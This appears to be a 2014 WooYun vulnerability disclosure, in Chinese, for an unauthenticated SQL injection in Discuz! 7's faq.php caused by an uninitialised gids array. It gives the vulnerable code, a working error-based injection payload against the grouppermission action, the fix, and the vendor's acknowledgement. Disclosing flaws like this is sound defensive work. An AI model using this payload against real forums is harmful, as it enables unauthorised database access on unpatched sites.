当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066095

漏洞标题:Discuz7存在一处SQL注射漏洞(无需登录即可触发)

相关厂商:Discuz!

漏洞作者: Map

提交时间:2014-06-24 18:29

修复时间:2014-09-22 18:30

公开时间:2014-09-22 18:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-24: 细节已通知厂商并且等待厂商处理中
2014-06-26: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向第三方安全合作伙伴开放
2014-08-20: 细节向核心白帽子及相关领域专家公开
2014-08-30: 细节向普通白帽子公开
2014-09-09: 细节向实习白帽子公开
2014-09-22: 细节向公众公开

简要描述:

Disucz7 SQL注射漏洞。

详细说明:

在faq.php中使用的gids变量未被初始化。
在180行有一句排序的代码:

ksort($gids);


而后的代码是:

foreach($gids as $row) {
$groupids[] = $row[0];
}


$groupids[] = $row[0];
这里取了foreach后的row数组的key 0。
如果row是字符串的话,取的则是row的第一位。
那么

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");


会导致一个SQL注射漏洞。
POST:

gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#


到http://domain/faq.php?action=grouppermission就可以触发SQL注射了。
当然,GET也可以。

漏洞证明:

漏洞有些小细节:
例如

gids[99]='&gids[100][0]=注射语句。


为了让ksort后我们的注射语句能注射,那么注射语句的key一定要比破坏单引号的那个\的key大一点。
所以gids的第一个是99,第二个是100.
另外,为了让单引号能被破坏掉,第一个的gids[99]是个字符串而不是数组,而gids[100]则必须得是数组。

dz72.JPG


修复方案:

初始化gids。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-26 09:51

厂商回复:

感谢您指出的问题,我们会尽快处理!

最新状态:

暂无